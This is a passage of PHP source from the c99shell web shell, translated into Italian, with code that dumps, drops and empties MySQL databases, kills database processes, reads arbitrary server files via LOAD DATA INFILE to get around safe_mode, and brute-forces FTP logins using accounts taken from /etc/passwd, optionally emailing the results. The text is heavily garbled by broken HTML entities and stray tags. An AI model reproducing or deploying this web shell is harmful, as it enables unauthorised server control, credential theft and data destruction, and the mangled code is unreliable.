if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb) )) {echo "DB \"".htmls pecialchars($sql_ne wdb)."\" e' stato creato con successo!</b> <br>"; }
else {echo "Non puoi creare un DB \"".htmls pecialchars($sql_ne wdb)."\". <br>Ragione&l t;/b> ".mysql_smarte rror();}
}
elseif ($sql_act == "dump"
{
if (empty($submit))
{
$diplay = FALSE;
echo "<form method=\"GET\& quot;><input type=\"hidden\ " name=\"act\&qu ot; value=\"sql\&q uot;><input type=\"hidden\ " name=\"sql_act \" value=\"dump\& quot;><input type=\"hidden\ " name=\"sql_db\ " value=\"" .htmlspecialchars($ sql_db)."\&quo t;><input type=\"hidden\ " name=\"sql_log in\" value=\"" .htmlspecialchars($ sql_login)."\& quot;><input type=\"hidden\ " name=\"sql_pas swd\" value=\"" .htmlspecialchars($ sql_passwd)."\ "><input type=\"hidden\ " name=\"sql_ser ver\" value=\"" .htmlspecialchars($ sql_server)."\ "><input type=\"hidden\ " name=\"sql_por t\" value=\"" .htmlspecialchars($ sql_port)."\&q uot;><input type=\"hidden\ " name=\"sql_tbl \" value=\"" .htmlspecialchars($ sql_tbl)."\&qu ot;><b>SQL -Dump:</b>< ;br><br>&q uot;;
echo "<b>DB:& lt;/b>&nbsp; <input type=\"text\&q uot; name=\"sql_db\ " value=\"" .urlencode($sql_db) ."\">& lt;br><br> ";
$v = join (";",$dmp tbls);
echo "<b>Solo tabelle (explode \";\"&nbsp;<b&g t;<sup>1</ sup></b>:& lt;/b>&nbsp; <input type=\"text\&q uot; name=\"dmptbls \" value=\"" .htmlspecialchars($ v)."\" size=\"". (strlen($v)+5).&quo t;\"><br ><br>" ;;
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars(&q uot;./dump_".g etenv("SERVER_ NAME"."_".$s ql_db."_" .date("d-m-Y-H -i-s".".sql"< img src='images/wink.gi f' />;}
echo "<b>File :</b>&nbs p;<input type=\"text\&q uot; name=\"sql_dum p_file\" value=\"" .$tmp."\" size=\"". (strlen($tmp)+strle n($tmp) % 30)."\"&g t;<br><br& gt;";
echo "<b>Scar ica: </b>&nbsp ;<input type=\"checkbo x\" name=\"sql_dum p_download\" value=\"1\&quo t; checked><br&g t;<br>";
echo "<b>Salv a il file: </b>&nbsp ;<input type=\"checkbo x\" name=\"sql_dum p_savetofile\" value=\"1\&quo t; checked>";< br /> echo "<br>< ;br><input type=\"submit\ " name=\"submit\ " value=\"Dump\& quot;><br> <br><b> <sup>1</su p></b> - all, if empty";
echo "</form> ";
}
else
{
$diplay = TRUE;
$set = array();
$set["sock&quo t;] = $sql_sock;
$set["db" ] = $sql_db;
$dump_out = "download" ;;
$set["print&qu ot;] = 0;
$set["nl2br&qu ot;] = 0;
$set[""] = 0;
$set["file&quo t;] = $dump_file;
$set["add_drop "] = TRUE;
$set["onlytabs "] = array();
if (!empty($dmptbls)) {$set["onlytab s"] = explode(";&quo t;,$dmptbls);}
$ret = mysql_dump($set); if ($sql_dump_download )
{
@ob_clean();
header("Tipo-C ontenuto: applicazioni/octet- stream";
header("Lunghe zza-Contenuto: ".strlen($ret) );
header("Dispos izione-Contenuto: attachment; filename=\"&qu ot;.basename($sql_d ump_file)."\&q uot;;";
echo $ret;
exit;
}
elseif ($sql_dump_savetofi le)
{
$fp = fopen($sql_dump_fil e,"w";
if (!$fp) {echo "<b>Erro re dump! Non puoi scrivere \"".htmls pecialchars($sql_du mp_file)."\&qu ot;!";}
else
{
fwrite($fp,$ret); fclose($fp);
echo "<b>Dump ed! Dump e' stato scritto \"".htmls pecialchars(realpat h($sql_dump_file)). "\" (".view_size(f ilesize($sql_dump_f ile))."</b>." ;
}
}
else {echo "<b>Dump : niente da fare!</b>&quo t;;}
}
}
if ($diplay)
{
if (!empty($sql_tbl))< br /> {
if (empty($sql_tbl_act )) {$sql_tbl_act = "browse"; }
$count = mysql_query("S ELECT COUNT(*) FROM `".$sql_tbl.&q uot;`;";
$count_row = mysql_fetch_array($ count);
mysql_free_result($ count);
$tbl_struct_result = mysql_query("S HOW FIELDS FROM `".$sql_tbl.&q uot;`;";
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($ tbl_struct_result)) {$tbl_struct_fields [] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_pag e)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls) ) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le) ) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpa ge)) {$perpage = 10;}
$numpages = $count_row[0]/$perp age;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d" {$asc_desc = "DESC";}< br /> else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]." ;` ".$asc_desc.&q uot; ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl.&q uot;` ".$v."LIM IT ".$sql_tbl_ls. " , ".$perpage.&qu ot;";
$result = mysql_query($query) or print(mysql_smarter ror());
echo "<hr size=\"1\" ; noshade><cent er><b>Tabl e ".htmlspecialc hars($sql_tbl).&quo t; (".mysql_num_f ields($result).&quo t; cols and ".$count_row[0 ]." rows)</b>< /center>";< br /> echo "<a href=\"". $sql_surl."sql _tbl=".urlenco de($sql_tbl)." &sql_tbl_act=st ructure\">[ &nbsp;<b> Struttura</b> &nbsp;]</a&g t;&nbsp;&nb sp;&nbsp;" ;
echo "<a href=\"". $sql_surl."sql _tbl=".urlenco de($sql_tbl)." &sql_tbl_act=br owse\">[&am p;nbsp;<b>Sfo glia</b>& nbsp;]</a>&am p;nbsp;&nbsp;&a mp;nbsp;";
echo "<a href=\"". $sql_surl."sql _tbl=".urlenco de($sql_tbl)." &sql_act=tbldum p&thistbl=1\&qu ot;>[&nbsp;& lt;b>Dump</b& gt;&nbsp;]</ a>&nbsp;& ;nbsp;&nbsp;&qu ot;;
echo "<a href=\"". $sql_surl."sql _tbl=".urlenco de($sql_tbl)." &sql_tbl_act=in sert\">[&am p;nbsp;<b>Ins erisci</b>&am p;nbsp;]</a>& amp;nbsp;&nbsp; &nbsp;"; if ($sql_tbl_act == "structure&quo t {echo "<br>< ;br><b>In arrivo!</b>&q uot;;}
if ($sql_tbl_act == "insert"
{
if (!is_array($sql_tbl _insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_in sert_radio))
{

}
else
{
echo "<br>< ;br><b>Ins erimento di una fila in una tabella:</b>& lt;br>";
if (!empty($sql_tbl_in sert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl.&q uot;`";
$sql_query .= " WHERE".$sql_tb l_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_qu ery,$sql_sock) or print("<br& gt;<br>" .mysql_smarterror() );
$values = mysql_fetch_assoc($ result);
mysql_free_result($ result);
}
else {$values = array();}
echo "<form method=\"POST\ "><TABLE cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width=\"1%\&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td><b& gt;Field</b>& lt;/td><td> ;<b>Type</ b></td>< ;td><b>Fun zione</b>< /td><td>&l t;b>Value</b& gt;</td></ tr>";
foreach ($tbl_struct_fields as $field)
{
$name = $field["Field& quot;];
if (empty($sql_tbl_ins ert_q)) {$v = "";}
echo "<tr>< ;td><b>&qu ot;.htmlspecialchar s($name)."< /b></td>&l t;td>".$fie ld["Type" ]."</td> <td><selec t name=\"sql_tbl _insert_functs[&quo t;.htmlspecialchars ($name)."]\&qu ot;><option value=\"\" ;></option> ;<option>PASS WORD</option> <option>MD5&l t;/option><op tion>ENCRYPT< /option><opti on>ASCII</opt ion><option&g t;CHAR</option&g t;<option>RAN D</option>< ;option>LAST_INS ERT_ID</option&g t;<option>COU NT</option>&l t;option>AVG< /option><opti on>SUM</optio n><option value=\"\" ;>--------</o ption><option >SOUNDEX</opt ion><option&g t;LCASE</option& gt;<option>UC ASE</option>& lt;option>NOW< ;/option><opt ion>CURDATE</ option><optio n>CURTIME</op tion><option& gt;FROM_DAYS</op tion><option& gt;FROM_UNIXTIME< ;/option><opt ion>PERIOD_ADD&l t;/option><op tion>PERIOD_DIFF </option>< option>TO_DAYS&l t;/option><op tion>UNIX_TIMEST AMP</option>& lt;option>USER&l t;/option><op tion>WEEKDAY< /option><opti on>CONCAT</op tion></select ></td>< td><input type=\"text\&q uot; name=\"sql_tbl _insert[".html specialchars($name) ."]\" value=\"" .htmlspecialchars($ values[$name]).&quo t;\" size=50></td& gt;</tr>" ;;
$i++;
}
echo "</table> ;<br>";< br /> echo "<input type=\"radio\& quot; name=\"sql_tbl _insert_radio\" ; value=\"1\&quo t;"; if (empty($sql_tbl_ins ert_q)) {echo " checked";} echo "><b> Insert as new row</b>" ;
if (!empty($sql_tbl_in sert_q)) {echo " or <input type=\"radio\& quot; name=\"sql_tbl _insert_radio\" ; value=\"2\&quo t; checked><b> ;Save</b>&quo t;; echo "<input type=\"hidden\ " name=\"sql_tbl _insert_q\" value=\"" .htmlspecialchars($ sql_tbl_insert_q).& quot;\">&qu ot;;}
echo "<br>< ;br><input type=\"submit\ " value=\"Confir m\"></fo rm>";
}
}
if ($sql_tbl_act == "browse"
{
$sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "<hr size=\"1\" ; noshade>";< br /> echo "<img src=\"".$ surl."act=img& amp;img=multipage\& quot; height=\"12\&q uot; width=\"10\&qu ot; alt=\"Pages\&q uot;>&nbsp;& quot;;
$b = 0;
for($i=0;$i<$num pages;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpa ge != $sql_tbl_le)) {echo "<a href=\"". $sql_surl."sql _tbl=".urlenco de($sql_tbl)." &sql_order=&quo t;.htmlspecialchars ($sql_order)." &sql_tbl_ls=&qu ot;.($i*$perpage).& quot;&sql_tbl_l e=".($i*$perpa ge+$perpage)." \"><u> ;";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpa ge != $sql_tbl_le)) {echo "</u>< ;/a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>&qu ot;;}
else {echo "&nbsp;&qu ot;;}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\& quot;><input type=\"hidden\ " name=\"act\&qu ot; value=\"sql\&q uot;><input type=\"hidden\ " name=\"sql_db\ " value=\"" .htmlspecialchars($ sql_db)."\&quo t;><input type=\"hidden\ " name=\"sql_log in\" value=\"" .htmlspecialchars($ sql_login)."\& quot;><input type=\"hidden\ " name=\"sql_pas swd\" value=\"" .htmlspecialchars($ sql_passwd)."\ "><input type=\"hidden\ " name=\"sql_ser ver\" value=\"" .htmlspecialchars($ sql_server)."\ "><input type=\"hidden\ " name=\"sql_por t\" value=\"" .htmlspecialchars($ sql_port)."\&q uot;><input type=\"hidden\ " name=\"sql_tbl \" value=\"" .htmlspecialchars($ sql_tbl)."\&qu ot;><input type=\"hidden\ " name=\"sql_ord er\" value=\"" .htmlspecialchars($ sql_order)."\& quot;><b>D a:</b>&nb sp;<input type=\"text\&q uot; name=\"sql_tbl _ls\" value=\"" .$sql_tbl_ls." \">&nbs p;<b>A:</b >&nbsp;<i nput type=\"text\&q uot; name=\"sql_tbl _le\" value=\"" .$sql_tbl_le." \">&nbs p;<input type=\"submit\ " value=\"View\& quot;></form& gt;";
echo "<br>< ;form method=\"POST\ "><TABLE cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width=\"1%\&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1>";
echo "<tr>&qu ot;;
echo "<td>< ;input type=\"checkbo x\" name=\"boxrow_ all\" value=\"1\&quo t;></td>&q uot;;
for ($i=0;$i<mysql_n um_fields($result); $i++)
{
$v = mysql_field_name($r esult,$i);
if ($e[0] == "a" {$s = "d"; $m = "asc";} else {$s = "a"; $m = "desc";}< br /> echo "<td>&qu ot;;
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"". $sql_surl."sql _tbl=".$sql_tb l."&sql_tb l_le=".$sql_tb l_le."&sql _tbl_ls=".$sql _tbl_ls."& sql_order=".$e [0]."%20" .$v."\"&g t;<b>".$ v."</b>& lt;/a>";} else {echo "<b>&quo t;.$v."</b& gt;<a href=\"". $sql_surl."sql _tbl=".$sql_tb l."&sql_tb l_le=".$sql_tb l_le."&sql _tbl_ls=".$sql _tbl_ls."& sql_order=".$s ."%20".$v ."\">& lt;img src=\"".$ surl."act=img& amp;img=sort_" .$m."\" height=\"9\&qu ot; width=\"14\&qu ot; alt=\"".$ m."\"> </a>";}< br /> echo "</td>&q uot;;
}
echo "<td>< ;font color=\"green\ "><b> Azione</b>< ;/font></td&g t;";
echo "</tr>&q uot;;
while ($row = mysql_fetch_array($ result, MYSQL_ASSOC))
{
echo "<tr>&qu ot;;
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($r esult,$i); $w .= " `".$name." ;` = '".addslashes( $v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen( $w)-3);}
echo "<td>< ;input type=\"checkbo x\" name=\"boxrow[ ]\" value=\"" .$w."\"&g t;</td>" ;
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v );
if ($v == "" {$v = "<font color=\"green\ ">NULL</ font>";}
echo "<td>&qu ot;.$v."</t d>";
$i++;
}
echo "<td>&qu ot;;
echo "<a href=\"". $sql_surl."sql _act=query&sql_ tbl=".urlencod e($sql_tbl)."& amp;sql_tbl_ls=&quo t;.$sql_tbl_ls.&quo t;&sql_tbl_le=& quot;.$sql_tbl_le.& quot;&sql_query =".urlencode(& quot;DELETE FROM `".$sql_tbl.&q uot;` WHERE".$w.&quo t; LIMIT 1;"."\"> ;<img src=\"".$ surl."act=img& amp;img=sql_button_ drop\" alt=\"Delete\& quot; height=\"13\&q uot; width=\"11\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;";
echo "<a href=\"". $sql_surl."sql _tbl_act=insert& ;sql_tbl=".url encode($sql_tbl).&q uot;&sql_tbl_ls =".$sql_tbl_ls ."&sql_tbl _le=".$sql_tbl _le."&sql_ tbl_insert_q=" .urlencode($w).&quo t;\"><im g src=\"".$ surl."act=img& amp;img=change\&quo t; alt=\"Edit\&qu ot; height=\"14\&q uot; width=\"14\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;";
echo "</td>&q uot;;
echo "</tr>&q uot;;
}
mysql_free_result($ result);
echo "</table> ;<hr size=\"1\" ; noshade><p align=\"left\& quot;><img src=\"".$ surl."act=img& amp;img=arrow_ltr\& quot; border=\"0\&qu ot;><select name=\"sql_act \">";< br /> echo "<option value=\"\" ;>Quello selezionato:</op tion>";
echo "<option value=\"delete row\">Elimi na</option>&q uot;;
echo "</select&g t;&nbsp;<inp ut type=\"submit\ " value=\"Confir m\"></fo rm></p>&qu ot;;
}
}
else
{
$result = mysql_query("S HOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror(); }
else
{
echo "<br>< ;form method=\"POST\ "><TABLE cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width=\"100%\& quot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td><in put type=\"checkbo x\" name=\"boxtbl_ all\" value=\"1\&quo t;></td>&l t;td><center& gt;<b>Tabella </b></cent er></td>&l t;td><b>Ri ghe</b></t d><td>< b>Tipo</b> </td><td&g t;<b>Creato&l t;/b></td> <td><b> Modificato</b> ;</td><td& gt;<b>Dimensi one</b></t d><td>< b>Azione</b&g t;</td></t r>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($ result, MYSQL_ASSOC))
{
$tsize += $row["Data_len gth"];
$trows += $row["Rows&quo t;];
$size = view_size($row[&quo t;Data_length" ]);
echo "<tr>&qu ot;;
echo "<td>< ;input type=\"checkbo x\" name=\"boxtbl[ ]\" value=\"" .$row["Name&qu ot;]."\"& gt;</td>" ;;
echo "<td>&am p;nbsp;<a href=\"". $sql_surl."sql _tbl=".urlenco de($row["Name& quot;])."\&quo t;><b>&quo t;.$row["Name& quot;]."</b ></a>& nbsp;</td>&qu ot;;
echo "<td>&qu ot;.$row["Rows "]."</ td>";
echo "<td>&qu ot;.$row["Type "]."</ td>";
echo "<td>&qu ot;.$row["Crea te_time"].&quo t;</td>" ;
echo "<td>&qu ot;.$row["Upda te_time"].&quo t;</td>" ;
echo "<td>&qu ot;.$size."< ;/td>";
echo "<td>&am p;nbsp;<a href=\"". $sql_surl."sql _act=query&sql_ query=".urlenc ode("DELETE FROM `".$row[" Name"]."` "."\"> ;<img src=\"".$ surl."act=img& amp;img=sql_button_ empty\" alt=\"Empty\&q uot; height=\"13\&q uot; width=\"11\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;&nbsp;& lt;a href=\"". $sql_surl."sql _act=query&sql_ query=".urlenc ode("DROP TABLE `".$row[" Name"]."` "."\"> ;<img src=\"".$ surl."act=img& amp;img=sql_button_ drop\" alt=\"Drop\&qu ot; height=\"13\&q uot; width=\"11\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;<a href=\"". $sql_surl."sql _tbl_act=insert& ;sql_tbl=".$ro w["Name"] ."\">& lt;img src=\"".$ surl."act=img& amp;img=sql_button_ insert\" alt=\"Insert\& quot; height=\"13\&q uot; width=\"11\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;</td> ";
echo "</tr>&q uot;;
$i++;
}
echo "<tr bgcolor=\"0000 00\">" ;
echo "<td>< ;center><b> ;»</b></c enter></td> ;";
echo "<td>< ;center><b> ;".$i." table(s)</b>& lt;/center></ td>";
echo "<td>< ;b>".$trows ."</b>&l t;/td>";
echo "<td>&qu ot;.$row[1]."& lt;/td>"; echo "<td>&qu ot;.$row[10]." </td>";< br /> echo "<td>&qu ot;.$row[11]." </td>";< br /> echo "<td>< ;b>".view_s ize($tsize)."& lt;/b></td> ;";
echo "<td>< ;/td>";
echo "</tr>&q uot;;
echo "</table> ;<hr size=\"1\" ; noshade><p align=\"right\ "><img src=\"".$ surl."act=img& amp;img=arrow_ltr\& quot; border=\"0\&qu ot;><select name=\"sql_act \">";< br /> echo "<option value=\"\" ;>With selected:</optio n>";
echo "<option value=\"tbldro p\">Drop< ;/option>";
echo "<option value=\"tblemp ty\">Empty& lt;/option>" ;;
echo "<option value=\"tbldum p\">Dump< ;/option>";
echo "<option value=\"tblche ck\">Check table</option> ;";
echo "<option value=\"tblopt imize\">Opt imize table</option> ;";
echo "<option value=\"tblrep air\">Repai r table</option> ;";
echo "<option value=\"tblana lyze\">Anal yze table</option> ;";
echo "</select&g t;&nbsp;<inp ut type=\"submit\ " value=\"Confir m\"></fo rm></p>&qu ot;;
mysql_free_result($ result);
}
}
}
}
}
else
{
$acts = array("", "newdb",& quot;serverstatus&q uot;,"serverva rs","proc esses","g etfile";
if (in_array($sql_act, $acts)) {?><table border="0" ; width="100%&qu ot; height="1" ;><tr>< td width="30%&quo t; height="1" ;><b>Crea un nuovo DB:</b><fo rm action="<?p hp echo $surl; ?>">< input type="hidden&q uot; name="act" ; value="sql&quo t;><input type="hidden&q uot; name="sql_act& quot; value="newdb&q uot;><input type="hidden&q uot; name="sql_logi n" value="<?ph p echo htmlspecialchars($s ql_login); ?>">< input type="hidden&q uot; name="sql_pass wd" value="<?ph p echo htmlspecialchars($s ql_passwd); ?>">< input type="hidden&q uot; name="sql_serv er" value="<?ph p echo htmlspecialchars($s ql_server); ?>">< input type="hidden&q uot; name="sql_port " value="<?ph p echo htmlspecialchars($s ql_port); ?>">< input type="text&quo t; name="sql_newd b" size="20" >&nbsp;<i nput type="submit&q uot; value="Crea&qu ot;></form> ;</td><td width="30%&quo t; height="1" ;><b>View File:</b>< form action="<?p hp echo $surl; ?>">< input type="hidden&q uot; name="act" ; value="sql&quo t;><input type="hidden&q uot; name="sql_act& quot; value="getfile "><input type="hidden&q uot; name="sql_logi n" value="<?ph p echo htmlspecialchars($s ql_login); ?>">< input type="hidden&q uot; name="sql_pass wd" value="<?ph p echo htmlspecialchars($s ql_passwd); ?>">< input type="hidden&q uot; name="sql_serv er" value="<?ph p echo htmlspecialchars($s ql_server); ?>">< input type="hidden&q uot; name="sql_port " value="<?ph p echo htmlspecialchars($s ql_port); ?>">< input type="text&quo t; name="sql_getf ile" size="30" value="<?ph p echo htmlspecialchars($s ql_getfile); ?>">& ;nbsp;<input type="submit&q uot; value="Get&quo t;></form> </td><td width="30%&quo t; height="1" ;></td>< ;/tr><tr>& lt;td width="30%&quo t; height="1" ;></td>< ;td width="30%&quo t; height="1" ;></td>< ;td width="30%&quo t; height="1" ;></td>< ;/tr></table& gt;<?php }
if (!empty($sql_act))< br /> {
echo "<hr size=\"1\" ; noshade>";< br /> if ($sql_act == "newdb"
{
echo "<b>&quo t;;
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb) )) {echo "DB \"".htmls pecialchars($sql_ne wdb)."\" e'stato creato con successo!</b> <br>";}< br /> else {echo "Non posso creare un DB \"".htmls pecialchars($sql_ne wdb)."\". <br>Ragione:& lt;/b> ".mysql_smarte rror();}
}
if ($sql_act == "serverstatus& quot
{
$result = mysql_query("S HOW STATUS", $sql_sock);
echo "<center> ;<b>Le variabili di stato del server:</b>&l t;br><br>& quot;;
echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#3 33333 border=1><td& gt;<b>Nome< ;/b></td>& lt;td><b>V alore</b>< /td></tr>& quot;;
while ($row = mysql_fetch_array($ result, MYSQL_NUM)) {echo "<tr>< ;td>".$row[ 0]."</td> ;<td>".$ row[1]."</t d></tr>&qu ot;;}
echo "</table> ;</center>&qu ot;;
mysql_free_result($ result);
}
if ($sql_act == "servervars&qu ot
{
$result = mysql_query("S HOW VARIABLES", $sql_sock);
echo "<center> ;<b>Variabili del server:</b>&l t;br><br>& quot;;
echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#3 33333 border=1><td& gt;<b>Nome< ;/b></td>& lt;td><b>V alore</b>< /td></tr>& quot;;
while ($row = mysql_fetch_array($ result, MYSQL_NUM)) {echo "<tr>< ;td>".$row[ 0]."</td> ;<td>".$ row[1]."</t d></tr>&qu ot;;}
echo "</table> ;";
mysql_free_result($ result);
}
if ($sql_act == "processes&quo t
{
if (!empty($kill)) {$query = "KILL ".$kill." ;"; $result = mysql_query($query, $sql_sock); echo "<b>Kill ing process #".$kill." ;... ok. he is dead, amen.</b>&quo t;;}
$result = mysql_query("S HOW PROCESSLIST", $sql_sock);
echo "<center> ;<b>Processes :</b><br&g t;<br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#3 33333 border=1><td& gt;<b>ID</ b></td>< ;td><b>UTE NTE</b></t d><td>< b>HOST</b> </td><td&g t;<b>DB</b ></td>< td><b>COMA NDO</b></t d><td>< b>TEMPO</b> ;</td><td& gt;<b>STATO&l t;/b></td> <td><b> INFO</b></ td><td>< ;b>Azione</b& gt;</td></ tr>";
while ($row = mysql_fetch_array($ result, MYSQL_NUM)) { echo "<tr>< ;td>".$row[ 0]."</td> ;<td>".$ row[1]."</t d><td>&quo t;.$row[2]."&l t;/td><td> ".$row[3].&quo t;</td><td >".$row[4]. "</td>&l t;td>".$row [5]."</td&g t;<td>". $row[6]."</ td><td>&qu ot;.$row[7]."& lt;/td><td> ;<a href=\"". $sql_surl."sql _act=processes& kill=".$row[0] ."\">& lt;u>Termina< /u></a>< ;/td></tr> ";}
echo "</table> ;";
mysql_free_result($ result);
}
if ($sql_act == "getfile"< img src='images/wink.gi f' />
{

$tmpdb = $sql_login."_t mpdb";
$select = mysql_select_db($tm pdb);
if (!$select) {mysql_create_db($t mpdb); $select = mysql_select_db($tm pdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("C REATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_base dir` LONGBLOB NOT NULL );";
mysql_query("L OAD DATA INFILE \"".addsl ashes($sql_getfile) ."\" INTO TABLE tmp_file";
$result = mysql_query("S ELECT * FROM tmp_file;";
if (!$result) {echo "<b>Erro r in reading file (permision denied)!</b>& quot;;}
else
{
for ($i=0;$i<mysql_n um_fields($result); $i++) {$name = mysql_field_name($r esult,$i);}
$f = "";
while ($row = mysql_fetch_array($ result, MYSQL_ASSOC)) {$f .= join ("\r\n",$ row);}
if (empty($f)) {echo "<b>Il file \"".$sql_ getfile."\&quo t; non esiste o e' vuoto!</b>< ;br>";}
else {echo "<b>File \"".$sql_ getfile."\&quo t;:</b><br >".nl2br(ht mlspecialchars($f)) ."<br>&q uot;;}
mysql_free_result($ result);
mysql_query("D ROP TABLE tmp_file;";
}
}
mysql_drop_db($tmpd b); //comment it if you want to leave database
}
}
}
}
echo "</td>&l t;/tr></table >";
if ($sql_sock)
{
$affected = @mysql_affected_row s($sql_sock);
if ((!is_numeric($affe cted)) or ($affected < 0)){$affected = 0;}
echo "<tr>< ;td><center&g t;<b>Righe affette: ".$affected.&q uot;</center> </td></tr& gt;";
}
echo "</table> ;";
}
if ($act == "mkdir"
{
if ($mkdir != $d)
{
if (file_exists($mkdir )) {echo "<b>Crea Cartella \"".htmls pecialchars($mkdir) ."\"</ b>: obiettivo già esistente";} elseif (!mkdir($mkdir)) {echo "<b>Crea Cartella \"".htmls pecialchars($mkdir) ."\"</ b>: accesso negato";}
echo "<br>< ;br>";
}
$act = $dspact = "ls";
}
if ($act == "ftpquickbrute "
{
echo "<b>Ftp brute force veloce:</b>&l t;br>";
if (!win) {echo "Funziona solo da linux!<br>< ;br>";}
else
{
function c99ftpbrutecheck($h ost,$port,$timeout, $login,$pass,$sh,$f qb_onlywithsh)
{
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,arra y("/bin/FALSE& quot;,"/sbin/n ologin"));}
else {$TRUE = TRUE;}
if ($TRUE)
{
$sock = @ftp_connect($host, $port,$timeout);
if (@ftp_login($sock,$ login,$pass))
{
echo "<a href=\"ftp://& quot;.$login." :".$pass." ;@".$host.&quo t;\" target=\"_blan k\"><b&g t;Connesso ".$host." con login \"".$logi n."\" e password \"".$pass ."\"</ b></a>.< ;br>";
ob_flush();
return TRUE;
}
}
}
if (!empty($submit)) {
if (!is_numeric($fqb_l enght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/pa sswd","r& quot;
if (!$fp) {echo "Non si possono ottenere /etc/passwd per la lista password.";} else
{
if ($fqb_logging)
{
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile, "w";}
else {$fqb_logfp = FALSE;}
$fqb_log = "FTP Quick Brute (called c99shell v. ".$shver." started at ".date("d .m.Y H:i:s"."\r\n\r\n&q uot;;
if ($fqb_logfile) {fwrite($fqb_logfp, $fqb_log,strlen($fq b_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp)) {
$str = explode(":&quo t;,fgets($fp,2048)) ;
if (c99ftpbrutecheck(& quot;localhost" ;,21,1,$str[0],$str [0],$str[6],$fqb_on lywithsh))
{
echo "<b>Conn esso ".getenv(" ;SERVER_NAME"." con login \"".$str[ 0]."\" e password \"".$str[ 0]."\"< ;/b><br>&q uot;;
$fqb_log .= "Connesso ".getenv(" ;SERVER_NAME"." con login \"".$str[ 0]."\" e password \"".$str[ 0]."\", at ".date("d .m.Y H:i:s"."\r\n" ;
if ($fqb_logfp) {fseek($fqb_logfp,0 ); fwrite($fqb_logfp,$ fqb_log,strlen($fqb _log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "Nessun successo. Connessioni!"; $fqb_log .= "Nessun successo. Connessioni!\r\n&qu ot;;}
$ftpquick_t = round(getmicrotime( )-$ftpquick_st,4);< br /> echo "<hr size=\"1\" ; noshade><b> ;Fatto!</b>&l t;br>Tempo totale (secs.): ".$ftpquick_t. "<br>Con nessioni totali: ".$i."< ;br>Successo.: <font color=blue><b >".$success ."</b>&l t;/font><br&g t;Insuccesso.:" ;.($i-$success).&qu ot;</b><br >Connessioni per secondi: ".round($i/$ft pquick_t,2)."& lt;br>";
$fqb_log .= "\r\n--------- ------------------- --------------\r\nF atto!\r\nTempo totale (secs.): ".$ftpquick_t. "\r\nConnessio ni totali: ".$i."\r\ nSuccesso.: ".$success.&qu ot;\r\nInsuccesso.: ".($i-$success )."\r\nConness ioni per secondi: ".round($i/$ft pquick_t,2)."\ r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0 ); fwrite($fqb_logfp,$ fqb_log,strlen($fqb _log));}
if ($fqb_logemail) {@mail($fqb_logemai l,"c99shell v. ".$shver." ; report",$fqb_l og);}
fclose($fqb_logfp);
}
}
else
{
$logfile = $tmpdir_logs." c99sh_ftpquickbrute _".date(" d.m.Y_H_i_s".".log" ;
$logfile = str_replace("/ /",DIRECTORY_S EPARATOR,$logfile);
